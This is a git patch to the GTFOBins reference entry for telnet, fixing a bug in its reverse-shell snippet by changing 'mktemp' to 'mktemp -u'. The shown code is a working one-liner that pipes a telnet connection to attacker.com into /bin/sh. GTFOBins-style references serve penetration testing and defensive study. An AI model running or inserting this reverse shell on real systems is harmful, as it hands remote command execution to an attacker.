From 08db6ac84ee5e25d529e8b864a295c52550aebb4 Mon Sep 17 00:00:00 2001 From: root Date: Sat, 21 Jul 2018 23:58:40 +1000 Subject: [PATCH] telnet.md(hotfix): Fixed a bug in telnet reverse shell --- _gtfobins/telnet.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_gtfobins/telnet.md b/_gtfobins/telnet.md index 35a53cd..c87d110 100644 --- a/_gtfobins/telnet.md +++ b/_gtfobins/telnet.md @@ -13,7 +13,7 @@ functions: code: | RHOST=attacker.com RPORT=12345 - TF=$(mktemp) + TF=$(mktemp -u) rm $TF mkfifo $TF && telnet $RHOST $RPORT 0<$TF | /bin/sh 1>$TF sudo-enabled: